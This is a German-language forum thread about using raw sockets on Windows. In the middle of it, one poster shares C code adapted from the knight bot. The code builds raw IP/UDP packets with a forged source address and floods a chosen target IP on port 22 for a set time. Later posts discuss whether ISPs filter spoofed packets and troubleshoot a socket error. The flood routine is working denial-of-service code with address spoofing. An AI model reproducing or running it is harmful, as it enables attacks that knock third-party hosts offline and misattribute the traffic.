rawsockets unter windows?
-
hi.
Meine frage lässt sich ja schon aus dem titel ableiten
genauer: ich weiß nicht wo ich die ganzen structuren finden kann für rawsockets
(iphdr etc.).
In welchen files sind die, oder heißen die vielleicht auch anders?
thx
-
proof of concecpt code
vieles aus knight übernommen und windows tauglich gemacht
struct ip { //struct 1:1 von knight geklaut unsigned int ip_hl:4; unsigned int ip_v:4; unsigned char ip_tos; unsigned short ip_len; unsigned short ip_id; unsigned short ip_off; unsigned char ip_ttl; unsigned char ip_p; unsigned short ip_sum; struct in_addr ip_src, ip_dst; }; struct udphdr_ { //struct 1:1 von knight geklaut unsigned short source; unsigned short dest; unsigned short len; unsigned short check; }; unsigned short checksum(unsigned short *buffer, int size) { unsigned long cksum=0; while(size >1) { cksum+=*buffer++; size -=2; } if(size) { cksum += *(unsigned char*)buffer; } cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >>16); return (unsigned short)(~cksum); } int flood(char *whom, int seconds) { int s,gay; unsigned short psize; struct sockaddr_in addr; struct packet { struct ip ip; struct udphdr_ udp; char *buf; } packet; if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) //rawsocket erstellen { return 1; } addr.sin_family = AF_INET; addr.sin_addr.s_addr = inet_addr(whom); //target psize = 1500-(sizeof(struct ip)+sizeof(struct udphdr_)); //packetsize aufs max festlegen packet.buf=(char*)malloc(psize); memset(packet.buf,10,psize); //paar einstellungen packet.ip.ip_hl = 5; packet.ip.ip_v = 4; packet.ip.ip_tos = 0; //type of service packet.ip.ip_len = 1500; //gesamtlänge des packets packet.ip.ip_off = 0; packet.ip.ip_p = 17; //protokoll packet.ip.ip_ttl = 64; //time to live packet.ip.ip_dst.s_addr = inet_addr(whom); //target packet.udp.len = htons(psize); //länge des udp packets packet.udp.source = rand(); //udp sourceport packet.udp.dest = htons(22); //udp targetport packet.udp.check = checksum((unsigned short *)&packet,1500); //checksumme des udp packets packet.ip.ip_src.s_addr = inet_addr("207.46.134.222"); //ms floods you packet.ip.ip_id = rand(); packet.ip.ip_sum = checksum((unsigned short *)&packet,1500); //checksumme des ip packets addr.sin_port = packet.udp.dest; time((time_t *)&gay); while((time(NULL)-gay)<seconds) sendto(s,(char*)&packet,1500,0,(struct sockaddr *)&addr,sizeof(addr)); //udp packet senden return 0; }
-
schön und gut.
Aber bei mir kann er den sock net aufmachen ...
kA why, WSAGetLastError() haut fehlercode '6' raus, was auch immer das heißen mag :>
-
Gibt es eigentlich noch irgendeinen isp in deutschland (oder auf der ganzen welt) der sowas
packet.ip.ip_src.s_addr = inet_addr("207.46.134.222");
zulässt? Der also kein egress filtering durchführt?
-
soweit ich mitbekommen habe, wird das nicht geprüft.
Aber das hat doch wohl ganix mit meiner frage zu tun.
Wie wir alle wissen wird code von oben nach unten ausgeführt.
Und das problem liegt wohl etwas weiter oben.
-
6 (0x00000006): ERROR_INVALID_HANDLE: The handle is invalid.
wann genau kommt der error
-
der error kommt genau bei:
if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
wobei ich das umgeformt habe zu:s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if(s == -1) { return 1; }
aber da sind ja keine unterschiede
-
Vielleicht hilft die das hier weiter
Vorher musst du imho auch noch WSAStartup aufrufen - evtl. statt socket auch WSASocket